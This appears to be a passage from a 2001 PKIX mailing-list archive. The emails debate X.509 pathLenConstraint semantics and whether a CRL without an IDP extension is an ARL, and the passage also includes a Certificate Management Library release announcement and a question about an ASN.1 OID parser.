> > contains CA Certificate Information only
> > ( Cert1 issued by XYZ_CA is revoked )
> > without IDP
> >
> > * CRL2
> > Issuer = XYZ_CA
> > thisUpdate = 2001 02 14 18 00 00 Z
> > nextUpdate = 2001 03 14 18 00 00 Z
> > contains EndUser Certificate Information only
> > without IDP
> >
> > Assume that RP check these CRLs at date = 2001 02 17 12 00 00 Z,
> > RP determine that the latest CRL for a CA certificate "Cert1"
> > issued by
> > XYZ_CA  is "CRL2" (for example, cross-certification environment).
> >
> > But CRL2 does not contain CA Certificates information, hence RP may
> > misunderstand that the certificate was valid.
> >
> > OR if the definition of CRL1 is correct as ARL( because it contains
> > ONLY CA Certificate Information),
> > RP should check both CRL1 and CRL2 ???
> >
> > I welcome any comments.
> > Thank you.
> >
> > --------------------------
> > Hiroyuki Sakakibara
> > Mitsubishi Electric Corporation
> >
> >
>

From: [email-masked] (Peter Gutmann)
To: [email-masked]
Subject: Re:  OT: asn.1 OID parser
Cc: [email-masked]
Sender: [email-masked]
Reply-To: [email-masked]
Date: Sun, 18 Feb 2001 09:23:48 (NZDT)

"Martin Szotkowski" <[email-masked]> writes:

>I wish read OID from ASN.1 code and write them into other file with full
>number specific OID.
>Exist some C code or program or parser for do it?

Yes, http://www.cs.auckland.ac.nz/~pgut001/dumpasn1.c and .cfg.

Peter.

Date: Fri, 16 Feb 2001 17:23:43 -0500
From: Steve Hanna <[email-masked]>
Organization: Sun Microsystems, Inc.
To: "David A. Cooper" <[email-masked]>
CC: [email-masked]
Subject: Re: Open Issue in Part1: path length constraints

"David A. Cooper" wrote:
> I believe that the problem we are currently experiencing is as a
> result of the original text not being sufficiently clear.

I thought the original text was quite clear. But I guess not.

The original text said:

   The pathLenConstraint field is meaningful only if cA is set to TRUE.
   In this case, it gives the maximum number of CA certificates that may
   follow this certificate in a certification path. A value of zero
   indicates that only an end-entity certificate may follow in the path.

The revised text says:

   The pathLenConstraint field is meaningful only if cA is set to TRUE.
   In this case, it gives the maximum number of CA certificates that may
   follow this certificate in a certification path. (Note: One end-
   entity certificate will follow the final CA certificate in the path.
   The last certificate in a path is considered an end-entity
   certificate, whether the subject of the certificate is a CA or not.)
   A pathLenConstrinat of zero indicates that only an end-entity
   certificate may follow in the path.

I find it odd to say that a certificate with cA=TRUE is a CA certificate
*unless* it is the last certificate in a path. I suppose this is only a
wording problem, but I find this wording *less* clear than the old
wording.

I also question whether the revised semantics for pathLenConstraint will
be as easy to understand for CA operators.

Do we really need to complicate things like this to handle a case that
you admit will be rare (a CA that uses another CA for indirect CRLs,
combined with max_path_length of 0)?

> You seem to suggest that we are now stating that a path may be valid
> expect for the keyCertSign key usage. However, one should never make
> use of the keyCertSign key usage bit when it appears in the last
> certificate in a path.

This is true. But I doubt that it's widely understood. Perhaps it should
be highlighted in the document.

> Of course, as I mentioned earlier, it is possible to achieve the
> desired results in a PKI using either of the semantics, so the main
> goal should be to ensure that whatever the final decision is, the
> semantics are clearly written in the next draft of the certificate and
> CRL profile.

Agreed.

> Perhaps others, particularly those who have already implemented this
> extension, could provide their opinions on this subject as well.

I agree with this as well. I'll be on vacation next week, but I trust
you folks to make the right decision. If I'm alone in my concern about
this, then we should go with rough consensus, which seems to be running
against me at the moment.

-Steve

From: "Pawling, John" <[email-masked]>
To: "Pawling, John" <[email-masked]>
Subject: v1.9 Certificate Management Library Now Available
Date: Fri, 16 Feb 2001 16:26:11 -0500

All,

Getronics Government Solutions has delivered the Version 1.9 Certificate
Management Library (CML) for MS Windows, Solaris 2.7 and Linux.  The v1.9
CML is freely available to everyone from the Getronics CML web page
<http://www.getronicsgov.com/hot/cml_home.htm>.  This release includes two
major enhancements.  It implements the certificate policy processing
requirements specified in the 2000 X.509 Recommendation.  Also, the
Lightweight Directory Access Protocol (LDAP) and database callback functions
were moved from the CML to a separate, dynamic Storage & Retrieval Library
(SRL).  

The v1.9 CML is described in the v1.9 CML Application Programming Interface
(API) document.  It implements the 2000 X.509 Recommendation certification
path processing rules and SDN.706.  It meets the majority of the IETF PKIX
RFC 2459 Certificate/CRL Profile requirements.  It uses the v1.2 Certificate
Path Development Library (CPDL) developed by CygnaCom Solutions, an Entrust
Technologies company, to provide robust certification path building
capabilities such as using cross certificates. 

The CML has been used to validate X.509 Certificates and Certificate
Revocation Lists (CRL) signed using the Digital Signature Algorithm (DSA)
and RSA.  Further enhancements, ports and testing of the CML are still in
process.  Further releases of the CML will be provided as significant
capabilities are added. 

The following enhancements are included in the v1.9 CML release (compared
with the v1.8 release):

1) Added support for 2000 X.509 certificate policy processing.  We
successfully tested the CML using test certificate paths that we created to
thoroughly test the new features, including positive and negative tests.  
2) Enhanced the internal RAM cache to store validated CRLs.  This also
included adding the hash of the certificates and CRLs to the RAM cache to
uniquely identify the object in the cache.  
3) Added ASN.1 decoding support for the new 2000 X.509 certificate and CRL
extensions. 

4) Enhanced CML so that it can be used with any LDAP library. This includes
splitting the CML's database and LDAP callback functions into their own
dynamic library (SRL).  This moves the LDAP linkage from the CML to the SRL.
The SRL also provides local certificate and CRL storage management
functions.  This included enhancing the SRL so that implementing the
database callback functions will cause the native CML database to be
disregarded.  We tested the SRL with the Netscape LDAP library on Windows.
We tested the SRL with the OpenLDAP library on Linux and Solaris. 

5) Tested the v1.9 CML with the new version (v2.0) of the CPDL provided by
CygnaCom to fix bugs in the previous CPDL release.

6) We fixed bugs in the v1.81 CML.  The CML was always initializing the
require-explicit-policy value to "True" (rather than using the value
provided by the application).  The CML was crashing when it encountered a
CRL Distribution Point extension that included a Uniform Resource
Identifier.  

7) Enhanced CMTest automated test utility to test new features of v1.9 CML
and SRL. 

8) Delivered new CML and SRL documents.

The following v1.9 CML files are available from the Getronics CML web page:
1) Windows_CMLLibv1.9.zip: MS Windows Dynamically Linked Libraries (DLL) 
2) Windows_CM_Tool.tar.z: CM_Tool DLL
3) Solaris_CMLLibv1.9.tar.Z: Sun Solaris Libraries 
4) Solaris_CM_Tool.tar.z: CM_Tool for Solaris
5) Linux_CMLLibv1.9.tar.Z: Linux Libraries
6) Linux_CM_Tool.tar.z: CM_Tool for Linux
7) CML_source.tar.Z: Source, including Windows project files 
8) CMAPI_data.tar.Z: Test Certs and CRLs used to test v1.9 CML

The v1.9 CML API document (CMv1.9api.doc, CMv1.9api.pdf), v1.9 SRL API 
document (SRLv1.9api.doc, SRLv1.9api.pdf), and v1.9 CML readme file are
also available from the Getronics CML web page.

All source code for the CML is being provided at no cost and with no
financial limitations regarding its use and distribution. Organizations can
use the CML without paying any royalties or licensing fees.  The CML was
originally developed by the U.S. Government.  Getronics is enhancing and
supporting the CML under contract to the U.S. Government.  The U.S.
Government is furnishing the CML software at no cost to the vendor subject
to the conditions of the CML Public License provided with the CML software.
The CML software is not subject to U.S. Government encryption export
regulations, so it is freely available to everyone.

The v1.9 CML uses the Getronics v1.3 R5 Enhanced SNACC ASN.1 Library to
encode/decode objects.  Getronics has successfully tested the v1.9 CML with
the
SNACC and CTIL DLLs delivered in conjunction with the v1.9 SFL.  Source code
for the Getronics-developed CTILs is available from
<http://www.getronicsgov.com/hot/sfl_home.htm>.  The actual crypto libraries
are
not provided with the CML or SFL.  They must be independently obtained
from the appropriate source.  

The v1.9 CML can be used in conjunction with the v1.2 CPDL to successfully
meet all of the requirements of the Bridge Certification Authority
Demonstration effort which includes cross-certified Entrust, Spyrus and
Motorola v3 certificate domains.  The CML_source.tar.Z file includes the
CPDL
source code and public license.  <http://www.cygnacom.com/cpl> provides more
information regarding the CPDL.

The National Institute of Standards and Technology (NIST) is providing a
standard test suite of X.509 certificate paths
<http://csrc.nist.gov/pki/testing/x509paths.html> that can be used for
testing applications against RFC 2459.  The CML was used to successfully 
process the NIST test data.

The Internet Mail Consortium (IMC) has established a CML web page
<http://www.imc.org/imc-cml>   
and a CML mail list which is used to: distribute information regarding CML
releases; discuss CML-related issues; and allow CML users to provide
feedback, comments, bug reports, etc.  Subscription information for the
imc-cml mailing list is at the IMC web site listed above.  

All comments regarding the CML source code and documents are welcome. This
CML release announcement was sent to several mail lists, but please send all
messages regarding the CML to the imc-cml mail list ONLY.  Please do not
send messages regarding the CML to any of the IETF mail lists.  We will
respond to all messages sent to the imc-cml mail list.

===========================================
John Pawling, [email-masked]
Getronics Government Solutions, LLC
===========================================

From: "Martin Szotkowski" <[email-masked]>
To: <[email-masked]>
Subject: OT: asn.1 OID parser
Date: Fri, 16 Feb 2001 19:05:49 +0100
Organization: PVT, a.s.

Hi all,
(excuse me my off topic question)
I wish read OID from ASN.1 code and write them into other file with full
number specific OID.
from e.g.:
pkcs-1 OBJECT IDENTIFIER ::= {
     iso(1) member-body(2) us(840) rsadsi(113549) pkcs(1) 1 }
rsaEncryption OBJECT IDENTIFIER ::=  { pkcs-1 1 }
to e.g.:
pkcs-1 OBJECT IDENTIFIER ::= {1 2 840 113549 1 1 }
rsaEncryption OBJECT IDENTIFIER ::=  { 1 2 840 113549 1 1 1 }

Exist some C code or program or parser for do it?

thanks Martin

From: David Cross <[email-masked]>
To: [email-masked]
Subject: RE: Open Issue in Part1: path length constraints
Date: Fri, 16 Feb 2001 07:25:49 -0800

I concur with the following interpretation - there is not good cause for
change to this interpretation:

->After some discussion, we decided that the path length constraint in basic

constraints was intended to specify the number of intermediate certificates 
that could follow this certificate. This meant the max_path_length did not 
apply to the end certificate.

Regards,

David B. Cross

David B. Cross
Program Manager 
.NET Security 
(sent using Windows XP and Office XP)

-----Original Message-----
From: Steve Hanna [mailto:[email-masked]] 
Sent: Thursday, February 15, 2001 11:04 AM
To: Tim Polk
Cc: [email-masked]
Subject: Re: Open Issue in Part1: path length constraints

Thanks for raising this issue for discussion, Tim. I have several concerns
with the pathLenConstraint semantics described in new-part1-04.

First, this is an incompatible change to the existing semantics. RFC 2459
clearly states that pathLenConstraint "gives the maximum number of CA
certificates that may follow this certificate in a certification path." The
X.509 specs include similar wording. Many certificates have been issued with
the current semantics and code has been written that implements these
semantics. We shouldn't change the semantics in an incompatible manner
unless we have a very good reason.

Second, you have not described a good reason for this change. In the example
that you presented, certificates issued by CA "B" are covered by an indirect
CRL from CA "C". B wants to vouch for C as a CA *and* a CRL issuer. To avoid
the problem with pathLenConstraint, B should issue two certificates for C: a
CA certificate and an end-entity certificate with the cRLSign keyUsage bit
set.

Third, this will change the basic meaning of validating a path (or a
certificate). With the 2459 semantics, a path is either valid or it's not.
With the looser revised semantics, a path may be valid except for the
keyCertSign keyUsage in the final certificate. This means that the result of
a DPV operation ("Is this cert valid?") will not be a boolean value. It will
be something more complicated ("Yes, but not for keyCertSign keyUsage"). I
oppose making such a basic change without a strong reason and I haven't
heard any strong reason.

Thanks,

Steve

Tim Polk wrote:
> 
> Folks,
> 
> As noted in the Last Call message, there is an open issue on Part 1 
> regarding the processing of path length constraints.  The basic 
> constraints text (4.2.1.10, page 37) and path validation algorithm 
> wrap-up procedure (6.1.5, page 73) contained in the current draft of 
> Part1 does not consider the path length constraint for an end 
> certificate.  This has sparked some controversy.
> 
> In this message, I will attempt to describe the issue and the 
> trade-offs between the two different interpretations.  I apologize in 
> advance for the length of this message.  Brevity is not my strong 
> suit.
> 
> We first ran into this issue at NIST when we were developing the X.509 
> path validation tests.  There was some debate among the participants 
> whether a path should be rejected if the max_path_length state 
> variable was less than or equal to zero and the end certificate was a 
> CA certificate (i.e., basicConstraints included cA=TRUE).
> 
> After some discussion, we decided that the path length constraint in 
> basic constraints was intended to specify the number of intermediate 
> certificates that could follow this certificate. This meant the 
> max_path_length did not apply to the end certificate. The current text 
> of part1 reflects this line of reasoning:
> 
>  From 4.2.1.10:
> 
>  >The pathLenConstraint field is meaningful only if cA is set to TRUE. 
> In this  >case, it gives the maximum number of CA certificates that 
> may follow this  >certificate in a certification path. (Note: One end- 
> entity certificate will  >follow the final CA certificate in the path. 
> The last certificate in a path  >is considered an end-entity 
> certificate, whether the subject of the  >certificate is a CA or not.)
> 
> 6.1.5 supports this interpretation through omission:  there is no 
> processing step to consider the value of  max_path_length in the 
> wrap-up-procedure.  (The comparison step appears in 6.1.4, 
> "Preparation for Certificate i+1" so it is already performed for every 
> other certificate in the path.)
> 
> If the working group disagrees with this interpretation, the changes 
> to Part 1 are straightforward.  First, modify the parenthetical in 
> 4.2.1.10 to indicate that the end certificate in the path is 
> considered a CA certificate if the basic constraints extension 
> indicates cA=TRUE.  Secondly, add one new step (h) to 6.1.5 and reject 
> the certification path if (h) fails.
> 
> new step:
>  >
>  >(h) If the certificate was not self-issued, verify that 
> max_path_length is  >greater than zero and decrement max_path_length 
> by 1.
> 
> comparison statement:
>  >
>  >If check (h) fails, the procedure terminates, returning a failure 
> indication  >and an appropriate reason.
> 
> What is less straightforward (at least to me) is which approach is the 
> appropriate one.
> 
> Essentially, the relying party wishes to trust the public key of a 
> subject to perform an action *other* than validating a signature on a 
> certificate.  During the preparation for this certificate the value of 
> max_path_length has been decremented or reset to zero (steps (l) or 
> (m) in
> 6.1.4) , indicating no additional CA certificates may be processed.
> 
> If that subject of the last certificate is not a CA, the path is 
> clearly acceptable.  But what if the subject is a CA? Should the 
> relying party reject the path because the key is in a CA certificate 
> *or* accept the path because the subject is not being treated as a CA?
> 
> I cannot come up with a security rationale for rejecting such a 
> certificate.  On the other hand, I do need to stretch a bit to devise 
> a scenario where accepting this certificate is beneficial.
> 
> Here is the beneficial scenario:
> 
> CA "A" issues a CA certificate to CA "B".  "A" trusts end entity 
> certificates issued by "B", but does not trust "B" to issue 
> certificates to other CAs.  "A" includes basic constraints in the 
> certificate it issues to "B" with cA = TRUE and pathLen = 0.
> 
> "B" does not issue its own CRLs, but delegates this to CA "C".  "B" 
> also trusts "C" to issue end entity certificates. So, "B" includes 
> basic constraints in the certificate it issues to "B" with cA = TRUE.
> 
> Alice's trust point is "A".
> Bob's trust point is "B", and "B" issued his certificate.  Bob's 
> certificate includes a CRL distribution points extension identifying 
> "C" as the indirect CRL issuer. Carol's trust point is "C", and "C" 
> issued her certificate.
> 
> Using the current text/algorithm, Alice can validate the certification 
> path for Bob including the indirect CRL signed by "C".  This required 
> Alice to validate the certification path ending with the certificated 
> issued by "B" to "C".
> 
> Alice cannot validate Carol's certificate, though.  Alice cannot trust 
> any certification path  that includes the certificate issued by "B" to 
> "C" as an intermediate certificate.
> 
> This *seems* to satisfy the spirit of the path length constraint, but 
> not the letter.
> 
> On the other hand:
> 
> If max_path_length is used to reject end certificates whose subjects 
> are CAs, Alice would not be able to validate Bob's certification path.  
> Alice could not process the indirect CRL.
> 
> If "A" relaxed the path length constraint (1 instead of zero) Alice 
> would be able to validate Bob's certification path.  Unfortunately, 
> this would also permit Alice to validate Carol's certification path, 
> which "A" did not intend.
> 
> This honors the letter of the path length constraint but did not 
> achieve the intended results.
> 
> Even with this scenario, there are at least two workarounds.  Either 
> CA "A" or CA "B" could issue a certificate to "C" that omitted the 
> basic constraints extension (but included the cRLSign bit in 
> keyUsage).  Alice would then be able to process paths as intended.  
> Alice would accept Bob's certification path and reject Carol's.
> 
> -----------------------------------
> 
> In summary:
> 
> (1) The current text describes a comparatively liberal interpretation 
> of basic constraints.
> (2) A straightforward reading of RFC 2459 or X.509 implies a more 
> conservative interpretation.
> (3) Either interpretation may be easily accommodated in the new 
> specification.
> (4) I cannot devise a security attack based on the more liberal
interpretation.
> (5) I can devise one scenario where the more liberal interpretation was
> beneficial. (It is unclear if there are others.)
> (6) It is certainly possible to implement this same scenario with the more
> conservative interpretation.  It requires issuing one additional
certificate.
> 
> Any thoughts?
> 
> Thanks,
> 
> Tim Polk
> 
> P.S.  I should state that implementations exist that implement both 
> interpretations.

Date: Thu, 15 Feb 2001 17:38:55 -0500
To: [email-masked]
From: "David A. Cooper" <[email-masked]>
Subject: Re: Open Issue in Part1: path length constraints

Steve,

As Tim noted in his message yesterday, no matter which way we choose to define the semantics for the pathLenConstraint field in basicConstraints, it will be possible for CAs to issue certificates in a way that achieves their desired results. I do believe however, that the semantics described in new-part1-04 are more straightforward and will make it more likely that CAs will issue certificates properly. So, I think that semantics currently described in the draft are preferable to the alternative.

My detailed comments are included in-line below.

At 02:04 PM 2/15/01 -0500, Steve Hanna wrote:
>Thanks for raising this issue for discussion, Tim. I have several
>concerns with the pathLenConstraint semantics described in new-part1-04.
>
>First, this is an incompatible change to the existing semantics.
>RFC 2459 clearly states that pathLenConstraint "gives the maximum number
>of CA certificates that may follow this certificate in a certification
>path." The X.509 specs include similar wording. Many certificates have
>been issued with the current semantics and code has been written that
>implements these semantics. We shouldn't change the semantics in an
>incompatible manner unless we have a very good reason.

I believe that the problem we are currently experiencing is as a result of the original text not being sufficiently clear. Now that a detailed path validation algorithm has been included in son-of-2459 and NIST has made available a certification path test suite, it is coming to light that different groups have interpreted some of the statements in X.509 and RFC 2459 differently. As Tim mentioned yesterday, we have come across implementations that observe the pathLenConstraint semantics that are described in new-part1-04, so no matter which semantics we choose, there will be current implementations that do things differently.

Fortunately, I do not think that the confusion with the semantics of pathLenConstraint will lead to any significant problems. In particular, I don't think that processing certification paths according to the semantics in new-part1-04 will violate the intentions of any previously issued CA certificates, even if the issuers had interpreted pathLenConstraint according to the semantics that you prefer. On the other hand, implementations that process certification paths according to the semantics that you prefer will only reject certification paths in which the final certificate in the path contains a basicConstraints extension with cA=TRUE and in which a previous CA had imposed a path length constraint that would prevent the subject of this certificate from issuing further certificates. This is a scenario that not likely to be very common.

>Second, you have not described a good reason for this change. In the
>example that you presented, certificates issued by CA "B" are covered by
>an indirect CRL from CA "C". B wants to vouch for C as a CA *and* a CRL
>issuer. To avoid the problem with pathLenConstraint, B should issue two
>certificates for C: a CA certificate and an end-entity certificate with
>the cRLSign keyUsage bit set.

This is certainly one option. One could include in the profile a requirement that certificates issued to a CA for the purposes of "empowering" that CA to issue certificates should be issued only for that purpose (and perhaps also to allow the relying party to validate CRLs issued by that CA for the certificates that it issues). If there is a desire to "empower" the CA to use its private key to perform other functions (e.g., sign indirect CRLs, sign PKI transactions messages, etc.) then a second certificate should be issued in which basicConstraints is absent. The result would be that the certificate that did not contain the basicConstraints extension could be validated even by those relying parties that are using the restrictive pathLenConstraint semantics that could not validate the certificate with basicConstraints in it as a result of a path length constraint in a previous certificate in the path.

I do not see any benefit to requiring CAs to issue two certificates, however. Particularly in the scenario that Tim described yesterday in which a cross-certificate is being issued both to "empower" the subject to issue certificates and to "empower" the subject to issue indirect CRLs. While it would be possible to issue two separate certificates, it may be easier from a management perspective to only issue one. Furthermore, since the people who are issuing the certificates will not be experts on every minute detail of X.509, we have to assume that by imposing more complex requirements on the issuers, we would be making it more likely that mistakes would be made (e.g., a CA may issue a cross-certificate to allow for the validation of indirect CRLs, but may include basicConstraints with cA=TRUE since operator of the CA thinks of the issuer of CRLs as a CA).

>Third, this will change the basic meaning of validating a path (or a
>certificate). With the 2459 semantics, a path is either valid or it's
>not. With the looser revised semantics, a path may be valid except for
>the keyCertSign keyUsage in the final certificate. This means that the
>result of a DPV operation ("Is this cert valid?") will not be a boolean
>value. It will be something more complicated ("Yes, but not for
>keyCertSign keyUsage"). I oppose making such a basic change without a
>strong reason and I haven't heard any strong reason.

I do not agree that this changes the basic meaning of validating a path. For starters, the result of path validation is not a boolean. Currently, if a path is accepted, it is accepted under a set of certificate policies along with (in theory, at least) a set of policy qualifiers.

You seem to suggest that we are now stating that a path may be valid expect for the keyCertSign key usage. However, one should never make use of the keyCertSign key usage bit when it appears in the last certificate in a path.

Suppose that you have the following set of entities and corresponding certificates:

         CA1 --------> CA2 ----------> CA3 -----------> CA4 -------> .... -------> CAn ---------> EE

If you want to validate the certificate issued to EE, you should always do so by performing path validation on the path that beings with a certificate issued by a trust anchor (e.g., CA1) and that ends with the certificate issued to EE. You should never perform the validation by first performing path validation on a path that ends with the certificate issued to CAn, and then upon determining that the certificate issued to CAn is valid and contains the keyCertSign key usage, using CAn's public key to validate the certificate issued to EE. So, it seems to me that the presence of the keyCertSign bit in a certificate that is at the end of a certification path should never be considered relevant. Am I missing something?

Furthermore, even if you did accept that idea that one could make use of the keyCertSign key usage bit in the final certificate in a certification path, you still could not make the claim that the decision to validate the certificate was a binary one. If you are going to make use of the public key in the final certificate in the path to validate certificates, then the use of that public key is still limited by the path length constraints, name constraints, etc., imposed by previous certificates in the certification path. In other words, the use of the public key to validate certificates should be treated as a continuation of path validation.

So, I do not think that the presence of keyCertSign in the final certificate is a valid concern. What about the other key usages? None of the other key usages require the presence of basicConstraints with cA=TRUE. So, a CA could always issue two certificates: one with basicConstraints, cA=TRUE that has keyCertSign asserted and another with basicConstraints absent that asserts any of the other desired key usages. The results of processing these certificates would be the same under both semantics (Technically the semantics in new-part1-04 would result in the certificate with basicConstraints present being accepted when it is the last certificate in the path in some cases where the certificate would be rejected under the other semantics. However, since this certificate only asserts the keyCertSign keyUsage, it would be useless as an end certificate as I noted above). With the semantics in new-part-04, however, CAs would be able to issue only one certificate. The ability to issue just one certificate may be considered simpler from a management perspective. Being less restrictive with the semantics would also make it less likely that paths would not validate as a result of improperly issued certificates.

Of course, as I mentioned earlier, it is possible to achieve the desired results in a PKI using either of the semantics, so the main goal should be to ensure that whatever the final decision is, the semantics are clearly written in the next draft of the certificate and CRL profile.

Perhaps others, particularly those who have already implemented this extension, could provide their opinions on this subject as well.

Dave

Date: Thu, 15 Feb 2001 14:04:19 -0500
From: Steve Hanna <[email-masked]>
Organization: Sun Microsystems, Inc.
To: Tim Polk <[email-masked]>
CC: [email-masked]
Subject: Re: Open Issue in Part1: path length constraints

Thanks for raising this issue for discussion, Tim. I have several
concerns with the pathLenConstraint semantics described in new-part1-04.

First, this is an incompatible change to the existing semantics.
RFC 2459 clearly states that pathLenConstraint "gives the maximum number
of CA certificates that may follow this certificate in a certification
path." The X.509 specs include similar wording. Many certificates have
been issued with the current semantics and code has been written that
implements these semantics. We shouldn't change the semantics in an
incompatible manner unless we have a very good reason.

Second, you have not described a good reason for this change. In the
example that you presented, certificates issued by CA "B" are covered by
an indirect CRL from CA "C". B wants to vouch for C as a CA *and* a CRL
issuer. To avoid the problem with pathLenConstraint, B should issue two
certificates for C: a CA certificate and an end-entity certificate with
the cRLSign keyUsage bit set.

Third, this will change the basic meaning of validating a path (or a
certificate). With the 2459 semantics, a path is either valid or it's
not. With the looser revised semantics, a path may be valid except for
the keyCertSign keyUsage in the final certificate. This means that the
result of a DPV operation ("Is this cert valid?") will not be a boolean
value. It will be something more complicated ("Yes, but not for
keyCertSign keyUsage"). I oppose making such a basic change without a
strong reason and I haven't heard any strong reason.

Thanks,

Steve

Tim Polk wrote:
> 
> Folks,
> 
> As noted in the Last Call message, there is an open issue on Part 1
> regarding the processing of path length constraints.  The basic constraints
> text (4.2.1.10, page 37) and path validation algorithm wrap-up procedure
> (6.1.5, page 73) contained in the current draft of Part1 does not consider
> the path length constraint for an end certificate.  This has sparked some
> controversy.
> 
> In this message, I will attempt to describe the issue and the trade-offs
> between the two different interpretations.  I apologize in advance for the
> length of this message.  Brevity is not my strong suit.
> 
> We first ran into this issue at NIST when we were developing the X.509 path
> validation tests.  There was some debate among the participants whether a
> path should be rejected if the max_path_length state variable was less than
> or equal to zero and the end certificate was a CA certificate (i.e.,
> basicConstraints included cA=TRUE).
> 
> After some discussion, we decided that the path length constraint in basic
> constraints was intended to specify the number of intermediate certificates
> that could follow this certificate. This meant the max_path_length did not
> apply to the end certificate. The current text of part1 reflects this line
> of reasoning:
> 
>  From 4.2.1.10:
> 
>  >The pathLenConstraint field is meaningful only if cA is set to TRUE. In this
>  >case, it gives the maximum number of CA certificates that may follow this
>  >certificate in a certification path. (Note: One end- entity certificate will
>  >follow the final CA certificate in the path. The last certificate in a path
>  >is considered an end-entity certificate, whether the subject of the
>  >certificate is a CA or not.)
> 
> 6.1.5 supports this interpretation through omission:  there is no
> processing step to consider the value of  max_path_length in the
> wrap-up-procedure.  (The comparison step appears in 6.1.4, "Preparation for
> Certificate i+1" so it is already performed for every other certificate in
> the path.)
> 
> If the working group disagrees with this interpretation, the changes to
> Part 1 are straightforward.  First, modify the parenthetical in 4.2.1.10 to
> indicate that the end certificate in the path is considered a CA
> certificate if the basic constraints extension indicates
> cA=TRUE.  Secondly, add one new step (h) to 6.1.5 and reject the
> certification path if (h) fails.
> 
> new step:
>  >
>  >(h) If the certificate was not self-issued, verify that max_path_length is
>  >greater than zero and decrement max_path_length by 1.
> 
> comparison statement:
>  >
>  >If check (h) fails, the procedure terminates, returning a failure indication
>  >and an appropriate reason.
> 
> What is less straightforward (at least to me) is which approach is the
> appropriate one.
> 
> Essentially, the relying party wishes to trust the public key of a subject
> to perform an action *other* than validating a signature on a
> certificate.  During the preparation for this certificate the value of
> max_path_length has been decremented or reset to zero (steps (l) or (m) in
> 6.1.4) , indicating no additional CA certificates may be processed.
> 
> If that subject of the last certificate is not a CA, the path is clearly
> acceptable.  But what if the subject is a CA? Should the relying party
> reject the path because the key is in a CA certificate *or* accept the path
> because the subject is not being treated as a CA?
> 
> I cannot come up with a security rationale for rejecting such a
> certificate.  On the other hand, I do need to stretch a bit to devise a
> scenario where accepting this certificate is beneficial.
> 
> Here is the beneficial scenario:
> 
> CA "A" issues a CA certificate to CA "B".  "A" trusts end entity
> certificates issued by "B", but does not trust "B" to issue certificates to
> other CAs.  "A" includes basic constraints in the certificate it issues to
> "B" with cA = TRUE and pathLen = 0.
> 
> "B" does not issue its own CRLs, but delegates this to CA "C".  "B" also
> trusts "C" to issue end entity certificates. So, "B" includes basic
> constraints in the certificate it issues to "B" with cA = TRUE.
> 
> Alice's trust point is "A".
> Bob's trust point is "B", and "B" issued his certificate.  Bob's
> certificate includes a CRL distribution points extension identifying "C" as
> the indirect CRL issuer.
> Carol's trust point is "C", and "C" issued her certificate.
> 
> Using the current text/algorithm, Alice can validate the certification path
> for Bob including the indirect CRL signed by "C".  This required Alice to
> validate the certification path ending with the certificated issued by "B"
> to "C".
> 
> Alice cannot validate Carol's certificate, though.  Alice cannot trust any
> certification path  that includes the certificate issued by "B" to "C" as
> an intermediate certificate.
> 
> This *seems* to satisfy the spirit of the path length constraint, but not
> the letter.
> 
> On the other hand:
> 
> If max_path_length is used to reject end certificates whose subjects are
> CAs, Alice would not be able to validate Bob's certification path.  Alice
> could not process the indirect CRL.
> 
> If "A" relaxed the path length constraint (1 instead of zero) Alice would
> be able to validate Bob's certification path.  Unfortunately, this would
> also permit Alice to validate Carol's certification path, which "A" did not
> intend.
> 
> This honors the letter of the path length constraint but did not achieve
> the intended results.
> 
> Even with this scenario, there are at least two workarounds.  Either CA "A"
> or CA "B" could issue a certificate to "C" that omitted the basic
> constraints extension (but included the cRLSign bit in keyUsage).  Alice
> would then be able to process paths as intended.  Alice would accept Bob's
> certification path and reject Carol's.
> 
> -----------------------------------
> 
> In summary:
> 
> (1) The current text describes a comparatively liberal interpretation of
> basic constraints.
> (2) A straightforward reading of RFC 2459 or X.509 implies a more
> conservative interpretation.
> (3) Either interpretation may be easily accommodated in the new specification.
> (4) I cannot devise a security attack based on the more liberal interpretation.
> (5) I can devise one scenario where the more liberal interpretation was
> beneficial. (It is unclear if there are others.)
> (6) It is certainly possible to implement this same scenario with the more
> conservative interpretation.  It requires issuing one additional certificate.
> 
> Any thoughts?
> 
> Thanks,
> 
> Tim Polk
> 
> P.S.  I should state that implementations exist that implement both
> interpretations.

Content-return: allowed
Date: Wed, 14 Feb 2001 22:35:47 -0800
From: Ambarish Malpani <[email-masked]>
Subject: RE: ARL without IDP extension
To: "'Hiroyuki Sakakibara'" <[email-masked]>, [email-masked]

Hi,
    I would agree with you, that any CRL that didn't contain
the IDP extension *is* a full CRL. Anything else would be an
invitation to trouble.

Ambarish

---------------------------------------------------------------------
Ambarish Malpani
Architect                                                650.567.5457
ValiCert, Inc.                                  [email-masked]
339 N. Bernardo Ave.                          http://www.valicert.com
Mountain View, CA 94043

> From: Hiroyuki Sakakibara [mailto:[email-masked]]
> Sent: Wednesday, February 14, 2001 10:13 PM
> To: [email-masked]
> Subject: ARL without IDP extension
> 
> 
> Hello
> 
> I have a question about the definition of ARL.
> 
> I think that the definition of ARL is
> 
> "a CRL which contains Issuing Distribution Point
>   with onlyContainAuthorityCerts = TRUE."
> 
> hence, I think the following CRL is NOT ARL.
> 
> "CRL which contains ONLY CA Certificate Revocation 
> Information on the list
> but not containts IDP"
> 
> I think this is a Complete CRL ( eventhough it contains only 
> CA Certificate
> information).
> 
> Am I right ?
> 
> -------------------------------------------------------------
> 
> If the CRL is determied as ARL, the following problem
> may occur.
> 
> * CRL1(as ARL)
> Issuer = XYZ_CA
> thisUpdate = 2001 02 14 12 00 00 Z
> nextUpdate = 2001 03 14 12 00 00 Z
> contains CA Certificate Information only
> ( Cert1 issued by XYZ_CA is revoked )
> without IDP
> 
> * CRL2
> Issuer = XYZ_CA
> thisUpdate = 2001 02 14 18 00 00 Z
> nextUpdate = 2001 03 14 18 00 00 Z
> contains EndUser Certificate Information only
> without IDP
> 
> Assume that RP check these CRLs at date = 2001 02 17 12 00 00 Z,
> RP determine that the latest CRL for a CA certificate "Cert1" 
> issued by
> XYZ_CA  is "CRL2" (for example, cross-certification environment).
> 
> But CRL2 does not contain CA Certificates information, hence RP may
> misunderstand that the certificate was valid.
> 
> OR if the definition of CRL1 is correct as ARL( because it contains
> ONLY CA Certificate Information),
> RP should check both CRL1 and CRL2 ???
> 
> I welcome any comments.
> Thank you.
> 
> --------------------------
> Hiroyuki Sakakibara
> Mitsubishi Electric Corporation
> 
> 

From: "Hiroyuki Sakakibara" <[email-masked]>
To: <[email-masked]>
Subject: ARL without IDP extension
Date: Thu, 15 Feb 2001 15:12:56 +0900

Hello

I have a question about the definition of ARL.

I think that the definition of ARL is

"a CRL which contains Issuing Distribution Point
  with onlyContainAuthorityCerts = TRUE."

